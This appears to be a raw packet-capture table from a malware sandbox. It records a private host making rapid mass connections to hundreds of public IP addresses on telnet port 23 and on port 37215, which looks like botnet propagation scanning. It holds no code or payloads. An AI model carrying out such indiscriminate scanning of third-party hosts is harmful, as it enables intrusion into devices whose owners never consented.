Dec 3, 2024 21:02:00.035254955 CET	60284	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.050303936 CET	23	50686	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:00.050618887 CET	23	50718	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:00.050669909 CET	50718	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:00.051085949 CET	23	60004	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:00.051403046 CET	23	60036	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:00.051444054 CET	60036	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:00.062757015 CET	23	53544	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.062963009 CET	23	34802	177.172.54.36	192.168.2.23
Dec 3, 2024 21:02:00.062995911 CET	53544	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.063328028 CET	53576	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.063673019 CET	23	39954	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.063735008 CET	39954	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.064062119 CET	39984	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.064469099 CET	34802	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:00.064738035 CET	34836	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:00.065080881 CET	23	44848	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:00.065135956 CET	23	46248	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.065190077 CET	46248	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.065388918 CET	23	44880	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:00.065442085 CET	44880	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:00.065463066 CET	46280	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.094254017 CET	23	19873	165.103.204.123	192.168.2.23
Dec 3, 2024 21:02:00.094274044 CET	23	19873	174.39.144.22	192.168.2.23
Dec 3, 2024 21:02:00.094297886 CET	23	19873	185.208.162.238	192.168.2.23
Dec 3, 2024 21:02:00.094310999 CET	23	19873	2.236.213.225	192.168.2.23
Dec 3, 2024 21:02:00.094316959 CET	19873	23	192.168.2.23	165.103.204.123
Dec 3, 2024 21:02:00.094321966 CET	23	19873	219.243.149.144	192.168.2.23
Dec 3, 2024 21:02:00.094335079 CET	23	19873	217.129.140.255	192.168.2.23
Dec 3, 2024 21:02:00.094340086 CET	19873	23	192.168.2.23	174.39.144.22
Dec 3, 2024 21:02:00.094347000 CET	23	19873	206.153.240.167	192.168.2.23
Dec 3, 2024 21:02:00.094343901 CET	19873	23	192.168.2.23	185.208.162.238
Dec 3, 2024 21:02:00.094358921 CET	23	19873	168.192.107.243	192.168.2.23
Dec 3, 2024 21:02:00.094362974 CET	19873	23	192.168.2.23	2.236.213.225
Dec 3, 2024 21:02:00.094369888 CET	23	19873	64.234.107.83	192.168.2.23
Dec 3, 2024 21:02:00.094382048 CET	23	19873	157.59.63.171	192.168.2.23
Dec 3, 2024 21:02:00.094383955 CET	19873	23	192.168.2.23	217.129.140.255
Dec 3, 2024 21:02:00.094383955 CET	19873	23	192.168.2.23	206.153.240.167
Dec 3, 2024 21:02:00.094392061 CET	23	19873	221.243.232.33	192.168.2.23
Dec 3, 2024 21:02:00.094403028 CET	23	19873	193.250.201.36	192.168.2.23
Dec 3, 2024 21:02:00.094413996 CET	23	19873	136.4.116.170	192.168.2.23
Dec 3, 2024 21:02:00.094414949 CET	19873	23	192.168.2.23	219.243.149.144
Dec 3, 2024 21:02:00.094424963 CET	23	19873	19.59.55.62	192.168.2.23
Dec 3, 2024 21:02:00.094425917 CET	19873	23	192.168.2.23	64.234.107.83
Dec 3, 2024 21:02:00.094436884 CET	23	19873	90.153.111.19	192.168.2.23
Dec 3, 2024 21:02:00.094443083 CET	19873	23	192.168.2.23	168.192.107.243
Dec 3, 2024 21:02:00.094444036 CET	19873	23	192.168.2.23	157.59.63.171
Dec 3, 2024 21:02:00.094444036 CET	19873	23	192.168.2.23	193.250.201.36
Dec 3, 2024 21:02:00.094450951 CET	23	45874	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.094450951 CET	19873	23	192.168.2.23	221.243.232.33
Dec 3, 2024 21:02:00.094450951 CET	19873	23	192.168.2.23	136.4.116.170
Dec 3, 2024 21:02:00.094487906 CET	19873	23	192.168.2.23	19.59.55.62
Dec 3, 2024 21:02:00.094487906 CET	19873	23	192.168.2.23	90.153.111.19
Dec 3, 2024 21:02:00.094540119 CET	45874	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.094928026 CET	45906	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.095455885 CET	23	19873	82.198.250.175	192.168.2.23
Dec 3, 2024 21:02:00.095546007 CET	19873	23	192.168.2.23	82.198.250.175
Dec 3, 2024 21:02:00.106014013 CET	23	47144	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.106120110 CET	47144	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.106158018 CET	23	43640	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.106441021 CET	47176	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.106803894 CET	43640	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.107114077 CET	43672	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.109899044 CET	23	38662	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.109957933 CET	38662	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.121073961 CET	23	53214	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.121332884 CET	23	53246	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.121380091 CET	53246	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.126445055 CET	23	49600	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:00.136200905 CET	23	47518	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:00.136627913 CET	23	47550	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:00.136673927 CET	47550	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:00.146831036 CET	23	41644	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.146848917 CET	23	59594	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:00.146859884 CET	23	59626	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:00.146894932 CET	59626	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:00.146902084 CET	41644	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.147300005 CET	41676	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.149826050 CET	38946	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:00.149826050 CET	45954	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:00.149828911 CET	52282	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:00.149828911 CET	37794	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:00.149831057 CET	39732	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:00.149835110 CET	58946	23	192.168.2.23	81.199.240.244
Dec 3, 2024 21:02:00.149840117 CET	38792	23	192.168.2.23	51.242.243.84
Dec 3, 2024 21:02:00.149842024 CET	35074	23	192.168.2.23	54.216.113.134
Dec 3, 2024 21:02:00.149842024 CET	51468	23	192.168.2.23	95.84.193.157
Dec 3, 2024 21:02:00.149842978 CET	50250	23	192.168.2.23	76.138.246.54
Dec 3, 2024 21:02:00.149852037 CET	45962	23	192.168.2.23	121.194.175.99
Dec 3, 2024 21:02:00.149852037 CET	53566	23	192.168.2.23	216.240.222.45
Dec 3, 2024 21:02:00.149854898 CET	58632	23	192.168.2.23	130.55.178.213
Dec 3, 2024 21:02:00.149858952 CET	58868	23	192.168.2.23	2.246.212.226
Dec 3, 2024 21:02:00.149858952 CET	57294	23	192.168.2.23	152.205.79.27
Dec 3, 2024 21:02:00.149858952 CET	57014	23	192.168.2.23	104.109.134.237
Dec 3, 2024 21:02:00.149858952 CET	51632	23	192.168.2.23	75.114.215.27
Dec 3, 2024 21:02:00.149863958 CET	54406	23	192.168.2.23	58.81.217.224
Dec 3, 2024 21:02:00.149873018 CET	39960	23	192.168.2.23	170.111.102.228
Dec 3, 2024 21:02:00.149876118 CET	58814	23	192.168.2.23	90.5.151.61
Dec 3, 2024 21:02:00.149876118 CET	58716	23	192.168.2.23	89.252.194.209
Dec 3, 2024 21:02:00.149876118 CET	41142	23	192.168.2.23	176.226.51.86
Dec 3, 2024 21:02:00.149879932 CET	47494	23	192.168.2.23	159.162.107.135
Dec 3, 2024 21:02:00.149883032 CET	57062	23	192.168.2.23	141.71.34.25
Dec 3, 2024 21:02:00.149884939 CET	40278	23	192.168.2.23	212.140.178.113
Dec 3, 2024 21:02:00.149897099 CET	53272	23	192.168.2.23	223.32.223.192
Dec 3, 2024 21:02:00.149899006 CET	42574	23	192.168.2.23	106.191.67.72
Dec 3, 2024 21:02:00.149900913 CET	42826	23	192.168.2.23	25.149.144.187
Dec 3, 2024 21:02:00.149904966 CET	43280	23	192.168.2.23	90.41.233.25
Dec 3, 2024 21:02:00.149904966 CET	41142	23	192.168.2.23	93.24.43.115
Dec 3, 2024 21:02:00.149913073 CET	58012	23	192.168.2.23	133.126.108.72
Dec 3, 2024 21:02:00.149920940 CET	34972	23	192.168.2.23	212.126.9.76
Dec 3, 2024 21:02:00.149921894 CET	55658	23	192.168.2.23	137.162.28.133
Dec 3, 2024 21:02:00.149924040 CET	58982	23	192.168.2.23	161.228.156.130
Dec 3, 2024 21:02:00.149924040 CET	39334	23	192.168.2.23	93.217.76.243
Dec 3, 2024 21:02:00.149924040 CET	59346	23	192.168.2.23	102.224.117.84
Dec 3, 2024 21:02:00.149930000 CET	59076	23	192.168.2.23	186.219.184.25
Dec 3, 2024 21:02:00.155545950 CET	23	60284	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.155616045 CET	60284	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.155945063 CET	60316	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.159149885 CET	18849	37215	192.168.2.23	197.20.134.28
Dec 3, 2024 21:02:00.159159899 CET	18849	37215	192.168.2.23	197.178.215.140
Dec 3, 2024 21:02:00.159159899 CET	18849	37215	192.168.2.23	197.65.232.126
Dec 3, 2024 21:02:00.159159899 CET	18849	37215	192.168.2.23	156.41.245.81
Dec 3, 2024 21:02:00.159167051 CET	18849	37215	192.168.2.23	41.6.213.76
Dec 3, 2024 21:02:00.159167051 CET	18849	37215	192.168.2.23	156.93.134.223
Dec 3, 2024 21:02:00.159168005 CET	18849	37215	192.168.2.23	41.28.111.51
Dec 3, 2024 21:02:00.159171104 CET	18849	37215	192.168.2.23	197.130.210.61
Dec 3, 2024 21:02:00.159171104 CET	18849	37215	192.168.2.23	197.238.65.28
Dec 3, 2024 21:02:00.159168959 CET	18849	37215	192.168.2.23	41.109.74.51
Dec 3, 2024 21:02:00.159168959 CET	18849	37215	192.168.2.23	156.246.152.6
Dec 3, 2024 21:02:00.159179926 CET	18849	37215	192.168.2.23	156.124.163.122
Dec 3, 2024 21:02:00.159182072 CET	18849	37215	192.168.2.23	41.192.31.82
Dec 3, 2024 21:02:00.159185886 CET	18849	37215	192.168.2.23	156.16.226.62
Dec 3, 2024 21:02:00.159192085 CET	18849	37215	192.168.2.23	156.234.205.239
Dec 3, 2024 21:02:00.159192085 CET	18849	37215	192.168.2.23	156.153.228.234
Dec 3, 2024 21:02:00.159192085 CET	18849	37215	192.168.2.23	197.234.116.186
Dec 3, 2024 21:02:00.159199953 CET	18849	37215	192.168.2.23	41.119.229.169
Dec 3, 2024 21:02:00.159204006 CET	18849	37215	192.168.2.23	41.142.22.229
Dec 3, 2024 21:02:00.159209967 CET	18849	37215	192.168.2.23	197.147.219.106
Dec 3, 2024 21:02:00.159214020 CET	18849	37215	192.168.2.23	41.62.178.180
Dec 3, 2024 21:02:00.159215927 CET	18849	37215	192.168.2.23	197.13.212.93
Dec 3, 2024 21:02:00.159235954 CET	18849	37215	192.168.2.23	197.92.53.183
Dec 3, 2024 21:02:00.159235954 CET	18849	37215	192.168.2.23	197.217.252.103
Dec 3, 2024 21:02:00.159238100 CET	18849	37215	192.168.2.23	156.117.109.243
Dec 3, 2024 21:02:00.159238100 CET	18849	37215	192.168.2.23	156.108.85.10
Dec 3, 2024 21:02:00.159238100 CET	18849	37215	192.168.2.23	156.140.6.252
Dec 3, 2024 21:02:00.159252882 CET	18849	37215	192.168.2.23	197.142.103.109
Dec 3, 2024 21:02:00.159252882 CET	18849	37215	192.168.2.23	41.1.19.164
Dec 3, 2024 21:02:00.159254074 CET	18849	37215	192.168.2.23	156.52.179.58
Dec 3, 2024 21:02:00.159266949 CET	18849	37215	192.168.2.23	41.84.29.156
Dec 3, 2024 21:02:00.159274101 CET	18849	37215	192.168.2.23	156.209.103.191
Dec 3, 2024 21:02:00.159276962 CET	18849	37215	192.168.2.23	197.161.135.223
Dec 3, 2024 21:02:00.159276962 CET	18849	37215	192.168.2.23	197.206.232.6
Dec 3, 2024 21:02:00.159284115 CET	18849	37215	192.168.2.23	156.107.183.144
Dec 3, 2024 21:02:00.159296036 CET	18849	37215	192.168.2.23	41.208.213.233
Dec 3, 2024 21:02:00.159296036 CET	18849	37215	192.168.2.23	197.10.41.78
Dec 3, 2024 21:02:00.159301043 CET	18849	37215	192.168.2.23	41.195.169.146
Dec 3, 2024 21:02:00.159310102 CET	18849	37215	192.168.2.23	156.91.36.190
Dec 3, 2024 21:02:00.159322977 CET	18849	37215	192.168.2.23	197.21.124.174
Dec 3, 2024 21:02:00.159322977 CET	18849	37215	192.168.2.23	156.236.242.16
Dec 3, 2024 21:02:00.159323931 CET	18849	37215	192.168.2.23	41.39.158.94
Dec 3, 2024 21:02:00.159328938 CET	18849	37215	192.168.2.23	197.200.200.245
Dec 3, 2024 21:02:00.159334898 CET	18849	37215	192.168.2.23	197.190.64.108
Dec 3, 2024 21:02:00.159341097 CET	18849	37215	192.168.2.23	197.207.178.86
Dec 3, 2024 21:02:00.159349918 CET	18849	37215	192.168.2.23	197.167.44.181
Dec 3, 2024 21:02:00.159357071 CET	18849	37215	192.168.2.23	197.221.93.255
Dec 3, 2024 21:02:00.159373045 CET	18849	37215	192.168.2.23	197.0.1.6
Dec 3, 2024 21:02:00.159373999 CET	18849	37215	192.168.2.23	156.3.227.231
Dec 3, 2024 21:02:00.159377098 CET	18849	37215	192.168.2.23	156.98.254.222
Dec 3, 2024 21:02:00.159377098 CET	18849	37215	192.168.2.23	41.206.1.27
Dec 3, 2024 21:02:00.159385920 CET	18849	37215	192.168.2.23	197.49.188.219
Dec 3, 2024 21:02:00.159385920 CET	18849	37215	192.168.2.23	41.37.216.172
Dec 3, 2024 21:02:00.159401894 CET	18849	37215	192.168.2.23	41.161.127.180
Dec 3, 2024 21:02:00.159420013 CET	18849	37215	192.168.2.23	156.221.236.176
Dec 3, 2024 21:02:00.159424067 CET	18849	37215	192.168.2.23	197.60.201.251
Dec 3, 2024 21:02:00.159424067 CET	18849	37215	192.168.2.23	41.222.229.74
Dec 3, 2024 21:02:00.159425974 CET	18849	37215	192.168.2.23	156.179.15.209
Dec 3, 2024 21:02:00.159437895 CET	18849	37215	192.168.2.23	41.187.137.170
Dec 3, 2024 21:02:00.159439087 CET	18849	37215	192.168.2.23	156.84.202.192
Dec 3, 2024 21:02:00.159456015 CET	18849	37215	192.168.2.23	41.168.226.8
Dec 3, 2024 21:02:00.159457922 CET	18849	37215	192.168.2.23	197.15.86.200
Dec 3, 2024 21:02:00.159462929 CET	18849	37215	192.168.2.23	197.223.99.115
Dec 3, 2024 21:02:00.159480095 CET	18849	37215	192.168.2.23	197.12.37.5
Dec 3, 2024 21:02:00.159481049 CET	18849	37215	192.168.2.23	41.184.30.14
Dec 3, 2024 21:02:00.159483910 CET	18849	37215	192.168.2.23	41.145.96.6
Dec 3, 2024 21:02:00.159483910 CET	18849	37215	192.168.2.23	197.156.220.225
Dec 3, 2024 21:02:00.159502029 CET	18849	37215	192.168.2.23	197.245.216.93
Dec 3, 2024 21:02:00.159503937 CET	18849	37215	192.168.2.23	156.181.136.6
Dec 3, 2024 21:02:00.159507036 CET	18849	37215	192.168.2.23	41.190.136.230
Dec 3, 2024 21:02:00.159507036 CET	18849	37215	192.168.2.23	156.220.210.242
Dec 3, 2024 21:02:00.159512997 CET	18849	37215	192.168.2.23	156.128.89.249
Dec 3, 2024 21:02:00.159518003 CET	18849	37215	192.168.2.23	156.213.242.178
Dec 3, 2024 21:02:00.159531116 CET	18849	37215	192.168.2.23	197.223.115.241
Dec 3, 2024 21:02:00.159535885 CET	18849	37215	192.168.2.23	197.186.106.144
Dec 3, 2024 21:02:00.159538984 CET	18849	37215	192.168.2.23	156.98.23.11
Dec 3, 2024 21:02:00.159545898 CET	18849	37215	192.168.2.23	197.234.183.44
Dec 3, 2024 21:02:00.159554958 CET	18849	37215	192.168.2.23	197.96.168.223
Dec 3, 2024 21:02:00.159557104 CET	18849	37215	192.168.2.23	197.61.178.97
Dec 3, 2024 21:02:00.159559011 CET	18849	37215	192.168.2.23	156.254.126.1
Dec 3, 2024 21:02:00.159564972 CET	18849	37215	192.168.2.23	41.236.228.169
Dec 3, 2024 21:02:00.159570932 CET	18849	37215	192.168.2.23	41.177.122.190
Dec 3, 2024 21:02:00.159584999 CET	18849	37215	192.168.2.23	156.55.109.137
Dec 3, 2024 21:02:00.159588099 CET	18849	37215	192.168.2.23	41.3.254.71
Dec 3, 2024 21:02:00.159591913 CET	18849	37215	192.168.2.23	41.159.225.235
Dec 3, 2024 21:02:00.159605026 CET	18849	37215	192.168.2.23	41.197.6.16
Dec 3, 2024 21:02:00.159612894 CET	18849	37215	192.168.2.23	156.51.44.79
Dec 3, 2024 21:02:00.159615993 CET	18849	37215	192.168.2.23	156.217.141.14
Dec 3, 2024 21:02:00.159635067 CET	18849	37215	192.168.2.23	41.137.86.18
Dec 3, 2024 21:02:00.159635067 CET	18849	37215	192.168.2.23	41.33.6.199
Dec 3, 2024 21:02:00.159636021 CET	18849	37215	192.168.2.23	156.36.87.61
Dec 3, 2024 21:02:00.159636974 CET	18849	37215	192.168.2.23	197.153.221.191
Dec 3, 2024 21:02:00.159643888 CET	18849	37215	192.168.2.23	156.51.17.113
Dec 3, 2024 21:02:00.159651041 CET	18849	37215	192.168.2.23	41.4.216.225
Dec 3, 2024 21:02:00.159651041 CET	18849	37215	192.168.2.23	197.124.4.32
Dec 3, 2024 21:02:00.159651041 CET	18849	37215	192.168.2.23	197.212.41.198
Dec 3, 2024 21:02:00.159666061 CET	18849	37215	192.168.2.23	156.219.152.154
Dec 3, 2024 21:02:00.159668922 CET	18849	37215	192.168.2.23	41.176.243.113
Dec 3, 2024 21:02:00.159668922 CET	18849	37215	192.168.2.23	197.66.117.236
Dec 3, 2024 21:02:00.159668922 CET	18849	37215	192.168.2.23	156.52.195.58
Dec 3, 2024 21:02:00.159676075 CET	18849	37215	192.168.2.23	41.192.169.15
Dec 3, 2024 21:02:00.159676075 CET	18849	37215	192.168.2.23	197.95.157.159
Dec 3, 2024 21:02:00.159677982 CET	18849	37215	192.168.2.23	156.95.234.158
Dec 3, 2024 21:02:00.159677982 CET	18849	37215	192.168.2.23	156.208.161.26
Dec 3, 2024 21:02:00.159677982 CET	18849	37215	192.168.2.23	156.202.83.47
Dec 3, 2024 21:02:00.159692049 CET	18849	37215	192.168.2.23	197.89.231.190
Dec 3, 2024 21:02:00.159693003 CET	18849	37215	192.168.2.23	41.63.224.22
Dec 3, 2024 21:02:00.159693003 CET	18849	37215	192.168.2.23	41.18.99.229
Dec 3, 2024 21:02:00.159698009 CET	18849	37215	192.168.2.23	41.14.4.77
Dec 3, 2024 21:02:00.159701109 CET	18849	37215	192.168.2.23	41.104.252.211
Dec 3, 2024 21:02:00.159701109 CET	18849	37215	192.168.2.23	197.146.82.171
Dec 3, 2024 21:02:00.159706116 CET	18849	37215	192.168.2.23	156.150.53.32
Dec 3, 2024 21:02:00.159709930 CET	18849	37215	192.168.2.23	41.226.28.226
Dec 3, 2024 21:02:00.159720898 CET	18849	37215	192.168.2.23	156.40.78.113
Dec 3, 2024 21:02:00.159722090 CET	18849	37215	192.168.2.23	41.113.13.114
Dec 3, 2024 21:02:00.159728050 CET	18849	37215	192.168.2.23	41.220.144.125
Dec 3, 2024 21:02:00.159734011 CET	18849	37215	192.168.2.23	156.22.220.44
Dec 3, 2024 21:02:00.159738064 CET	18849	37215	192.168.2.23	156.211.234.38
Dec 3, 2024 21:02:00.159748077 CET	18849	37215	192.168.2.23	156.84.72.103
Dec 3, 2024 21:02:00.159749985 CET	18849	37215	192.168.2.23	197.96.94.232
Dec 3, 2024 21:02:00.159756899 CET	18849	37215	192.168.2.23	197.189.10.11
Dec 3, 2024 21:02:00.159763098 CET	18849	37215	192.168.2.23	197.116.251.78
Dec 3, 2024 21:02:00.159763098 CET	18849	37215	192.168.2.23	197.248.227.25
Dec 3, 2024 21:02:00.159774065 CET	18849	37215	192.168.2.23	41.65.9.187
Dec 3, 2024 21:02:00.159780979 CET	18849	37215	192.168.2.23	197.242.148.127
Dec 3, 2024 21:02:00.159786940 CET	18849	37215	192.168.2.23	197.23.36.222
Dec 3, 2024 21:02:00.159801960 CET	18849	37215	192.168.2.23	156.14.207.214
Dec 3, 2024 21:02:00.159801960 CET	18849	37215	192.168.2.23	41.173.70.208
Dec 3, 2024 21:02:00.159802914 CET	18849	37215	192.168.2.23	156.201.106.3
Dec 3, 2024 21:02:00.159815073 CET	18849	37215	192.168.2.23	156.239.87.58
Dec 3, 2024 21:02:00.159833908 CET	18849	37215	192.168.2.23	41.125.103.62
Dec 3, 2024 21:02:00.159835100 CET	18849	37215	192.168.2.23	41.77.58.69
Dec 3, 2024 21:02:00.159836054 CET	18849	37215	192.168.2.23	197.142.214.169
Dec 3, 2024 21:02:00.159836054 CET	18849	37215	192.168.2.23	197.30.217.219
Dec 3, 2024 21:02:00.159837008 CET	18849	37215	192.168.2.23	156.88.90.220
Dec 3, 2024 21:02:00.159845114 CET	18849	37215	192.168.2.23	41.7.110.168
Dec 3, 2024 21:02:00.159845114 CET	18849	37215	192.168.2.23	41.23.61.44
Dec 3, 2024 21:02:00.159847021 CET	18849	37215	192.168.2.23	41.176.135.46
Dec 3, 2024 21:02:00.159866095 CET	18849	37215	192.168.2.23	156.162.167.16
Dec 3, 2024 21:02:00.159866095 CET	18849	37215	192.168.2.23	41.66.125.2
Dec 3, 2024 21:02:00.159871101 CET	18849	37215	192.168.2.23	41.181.9.170
Dec 3, 2024 21:02:00.159873009 CET	18849	37215	192.168.2.23	197.142.138.172
Dec 3, 2024 21:02:00.159874916 CET	18849	37215	192.168.2.23	197.250.252.84
Dec 3, 2024 21:02:00.159874916 CET	18849	37215	192.168.2.23	197.35.1.223
Dec 3, 2024 21:02:00.159879923 CET	18849	37215	192.168.2.23	197.169.155.171
Dec 3, 2024 21:02:00.159890890 CET	18849	37215	192.168.2.23	197.214.45.184
Dec 3, 2024 21:02:00.159893036 CET	18849	37215	192.168.2.23	41.10.36.237
Dec 3, 2024 21:02:00.159893036 CET	18849	37215	192.168.2.23	41.162.27.201
Dec 3, 2024 21:02:00.159914017 CET	18849	37215	192.168.2.23	197.246.207.69
Dec 3, 2024 21:02:00.159919024 CET	18849	37215	192.168.2.23	197.29.226.9
Dec 3, 2024 21:02:00.159919024 CET	18849	37215	192.168.2.23	156.96.208.81
Dec 3, 2024 21:02:00.159924030 CET	18849	37215	192.168.2.23	41.57.196.77
Dec 3, 2024 21:02:00.159929991 CET	18849	37215	192.168.2.23	41.52.61.143
Dec 3, 2024 21:02:00.159931898 CET	18849	37215	192.168.2.23	156.191.5.64
Dec 3, 2024 21:02:00.159938097 CET	18849	37215	192.168.2.23	197.133.20.159
Dec 3, 2024 21:02:00.159948111 CET	18849	37215	192.168.2.23	197.130.87.178
Dec 3, 2024 21:02:00.159960032 CET	18849	37215	192.168.2.23	41.233.143.127
Dec 3, 2024 21:02:00.159960032 CET	18849	37215	192.168.2.23	197.16.181.24
Dec 3, 2024 21:02:00.159960985 CET	18849	37215	192.168.2.23	197.114.199.63
Dec 3, 2024 21:02:00.159960985 CET	18849	37215	192.168.2.23	197.207.195.23
Dec 3, 2024 21:02:00.159979105 CET	18849	37215	192.168.2.23	156.29.240.212
Dec 3, 2024 21:02:00.159979105 CET	18849	37215	192.168.2.23	197.198.188.108
Dec 3, 2024 21:02:00.159981966 CET	18849	37215	192.168.2.23	41.40.9.75
Dec 3, 2024 21:02:00.159991026 CET	18849	37215	192.168.2.23	156.223.44.229
Dec 3, 2024 21:02:00.159998894 CET	18849	37215	192.168.2.23	41.33.153.168
Dec 3, 2024 21:02:00.160000086 CET	18849	37215	192.168.2.23	197.248.50.42
Dec 3, 2024 21:02:00.160011053 CET	18849	37215	192.168.2.23	41.45.204.21
Dec 3, 2024 21:02:00.160013914 CET	18849	37215	192.168.2.23	156.92.146.192
Dec 3, 2024 21:02:00.160015106 CET	18849	37215	192.168.2.23	197.106.120.143
Dec 3, 2024 21:02:00.160023928 CET	18849	37215	192.168.2.23	156.18.22.17
Dec 3, 2024 21:02:00.160060883 CET	18849	37215	192.168.2.23	41.94.86.46
Dec 3, 2024 21:02:00.160063028 CET	18849	37215	192.168.2.23	41.144.89.112
Dec 3, 2024 21:02:00.160063028 CET	18849	37215	192.168.2.23	156.117.133.140
Dec 3, 2024 21:02:00.160063028 CET	18849	37215	192.168.2.23	41.182.121.88
Dec 3, 2024 21:02:00.160063028 CET	18849	37215	192.168.2.23	197.97.100.198
Dec 3, 2024 21:02:00.160064936 CET	18849	37215	192.168.2.23	197.149.160.234
Dec 3, 2024 21:02:00.160063028 CET	18849	37215	192.168.2.23	197.41.179.18
Dec 3, 2024 21:02:00.160070896 CET	18849	37215	192.168.2.23	156.244.227.196
Dec 3, 2024 21:02:00.160072088 CET	18849	37215	192.168.2.23	156.105.88.141
Dec 3, 2024 21:02:00.160073042 CET	18849	37215	192.168.2.23	41.169.162.157
Dec 3, 2024 21:02:00.160073042 CET	18849	37215	192.168.2.23	156.142.36.246
Dec 3, 2024 21:02:00.160073996 CET	18849	37215	192.168.2.23	197.169.104.85
Dec 3, 2024 21:02:00.160074949 CET	18849	37215	192.168.2.23	197.126.46.99
Dec 3, 2024 21:02:00.160074949 CET	18849	37215	192.168.2.23	197.75.61.227
Dec 3, 2024 21:02:00.160077095 CET	18849	37215	192.168.2.23	197.201.49.158
Dec 3, 2024 21:02:00.160079956 CET	18849	37215	192.168.2.23	41.183.239.241
Dec 3, 2024 21:02:00.160080910 CET	18849	37215	192.168.2.23	41.144.84.156
Dec 3, 2024 21:02:00.160089016 CET	18849	37215	192.168.2.23	41.240.93.24
Dec 3, 2024 21:02:00.160089970 CET	18849	37215	192.168.2.23	197.177.7.122
Dec 3, 2024 21:02:00.160089970 CET	18849	37215	192.168.2.23	156.34.206.133
Dec 3, 2024 21:02:00.160089970 CET	18849	37215	192.168.2.23	41.45.121.4
Dec 3, 2024 21:02:00.160094023 CET	18849	37215	192.168.2.23	197.226.42.7
Dec 3, 2024 21:02:00.160094023 CET	18849	37215	192.168.2.23	156.244.183.224
Dec 3, 2024 21:02:00.160094023 CET	18849	37215	192.168.2.23	156.209.42.139
Dec 3, 2024 21:02:00.160094023 CET	18849	37215	192.168.2.23	197.13.31.164
Dec 3, 2024 21:02:00.160094023 CET	18849	37215	192.168.2.23	197.107.190.116
Dec 3, 2024 21:02:00.160094976 CET	18849	37215	192.168.2.23	156.117.157.11
Dec 3, 2024 21:02:00.160094976 CET	18849	37215	192.168.2.23	156.12.207.161
Dec 3, 2024 21:02:00.160103083 CET	18849	37215	192.168.2.23	41.144.64.44
Dec 3, 2024 21:02:00.160103083 CET	18849	37215	192.168.2.23	41.94.56.13
Dec 3, 2024 21:02:00.160120964 CET	18849	37215	192.168.2.23	41.148.197.70
Dec 3, 2024 21:02:00.160121918 CET	18849	37215	192.168.2.23	41.28.104.114
Dec 3, 2024 21:02:00.160121918 CET	18849	37215	192.168.2.23	41.209.217.15
Dec 3, 2024 21:02:00.160130024 CET	18849	37215	192.168.2.23	41.70.150.243
Dec 3, 2024 21:02:00.160135984 CET	18849	37215	192.168.2.23	41.130.88.62
Dec 3, 2024 21:02:00.160140991 CET	18849	37215	192.168.2.23	41.98.144.89
Dec 3, 2024 21:02:00.160160065 CET	18849	37215	192.168.2.23	41.205.117.48
Dec 3, 2024 21:02:00.160175085 CET	18849	37215	192.168.2.23	41.109.75.179
Dec 3, 2024 21:02:00.160176039 CET	18849	37215	192.168.2.23	197.184.52.16
Dec 3, 2024 21:02:00.160176039 CET	18849	37215	192.168.2.23	156.191.213.126
Dec 3, 2024 21:02:00.160176039 CET	18849	37215	192.168.2.23	41.75.149.35
Dec 3, 2024 21:02:00.160176992 CET	18849	37215	192.168.2.23	156.225.119.138
Dec 3, 2024 21:02:00.160176992 CET	18849	37215	192.168.2.23	41.144.223.43
Dec 3, 2024 21:02:00.160187960 CET	18849	37215	192.168.2.23	41.127.14.10
Dec 3, 2024 21:02:00.160187960 CET	18849	37215	192.168.2.23	156.48.71.174
Dec 3, 2024 21:02:00.160187960 CET	18849	37215	192.168.2.23	41.254.201.95
Dec 3, 2024 21:02:00.160207033 CET	18849	37215	192.168.2.23	197.102.15.137
